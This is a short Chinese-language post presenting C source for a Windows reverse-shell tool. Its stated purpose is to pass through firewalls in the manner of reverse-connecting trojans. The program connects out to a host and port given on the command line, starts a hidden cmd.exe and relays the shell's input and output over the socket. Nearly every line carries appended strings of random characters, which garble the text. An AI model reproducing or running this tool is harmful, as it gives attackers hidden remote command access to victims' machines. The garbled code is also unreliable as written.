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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 CF&6J$ZBgJ  
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/* ============================== mpuq 9)6  
Rebound port in Windows NT YaKeq5%y  
By wind,2006/7 :D%"EJ  
===============================*/ M<.d8?p )  
#include QS` PpyBkd  
#include jV>raCK_  
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#pragma comment(lib,"wsock32.lib") 4E]l{"k<  
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void OutputShell(); 3=FZ9>by  
SOCKET sClient; T>x&T9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K;>9ZZtl  
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void main(int argc,char **argv) k.vBj~xU  
{ 9F)z4  
WSADATA stWsaData; J'SZ  
int nRet; u09:Z{tL;@  
SOCKADDR_IN stSaiClient,stSaiServer; -0$55pa/@:  
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if(argc != 3) 0=* 8  
{ Ma.`A  
printf("Useage:\n\rRebound DestIP DestPort\n"); [E!oQVY  
return; K9$>Yxe|  
} \?0&0;5  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9`I _Et  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w+#C-&z  
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stSaiClient.sin_family = AF_INET; F)&@P-9+  
stSaiClient.sin_port = htons(0); aY'C%^h]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); x(etb<!jd  
#{?PbBE}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P9^-6;'Y  
{ >/kc dWl  
printf("Bind Socket Failed!\n"); uxtWybv  
return; Q[vJqkgT  
} ein4^o<f.  
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stSaiServer.sin_family = AF_INET; ~$:|VHl  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &x[E;P*Fg  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -(bXSBs#  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -+ SF  
{ - }7e:!.  
printf("Connect Error!"); ej4W{IN~:  
return; y.#")IAF  
} l6YtEHNG  
OutputShell(); /^X/8  
} I/d&G#:~  
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void OutputShell() k7?N ?7w  
{ 'Jt]7;04p  
char szBuff[1024]; ^?cz,N~  
SECURITY_ATTRIBUTES stSecurityAttributes; lE;Ewg  
OSVERSIONINFO stOsversionInfo; k9  "[H'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; uD1e!oU  
STARTUPINFO stStartupInfo; cik!GA  
char *szShell; "!Uqcay-  
PROCESS_INFORMATION stProcessInformation; !c}O5TI|#  
unsigned long lBytesRead; hd>aZ"nm1  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); PD&\LbuG  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); OMWbZ>jB  
stSecurityAttributes.lpSecurityDescriptor = 0; vwjPmOjhS  
stSecurityAttributes.bInheritHandle = TRUE; rai3<_W<  
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{["\.ZS|  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?u/@PR\D  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ??PC k1X  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); IE;~?W"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _hRcc"MS`  
stStartupInfo.wShowWindow = SW_HIDE; f!oT65Vmi  
stStartupInfo.hStdInput = hReadPipe; iYDEI e  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [`{Z}q&  
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GetVersionEx(&stOsversionInfo); W3IpHV  
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switch(stOsversionInfo.dwPlatformId) c(:f\Wc3Z  
{ @ zs'Y8  
case 1: ,4zmb`dP<  
szShell = "command.com"; c_-drS  
break; 8TGOx%}i  
default: }4Tc  
szShell = "cmd.exe"; YVYu:}e3)  
break; 3HLNCt09  
} (g[h 8 c  
: >6F+XZ  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); MHh~vy'HB5  
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send(sClient,szMsg,77,0); 0~ZFv Wv  
while(1) X 9p.gXF  
{ J?RabYd ~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); KNS.Nw7  
if(lBytesRead) jX3,c%aQ5e  
{ !n* +(lZ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9Wnn'T@Tl  
send(sClient,szBuff,lBytesRead,0); \R|4( +]x  
} HG+%HUO$  
else ]bj&bk#  
{ "OQ^U_  
lBytesRead=recv(sClient,szBuff,1024,0); plb!.g  
if(lBytesRead<=0) break; Qr^|:U!;[z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O\E/. B  
} )Y2{_ bx4"  
} Gnfd;. (.  
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return; v%"|WV[N  
}
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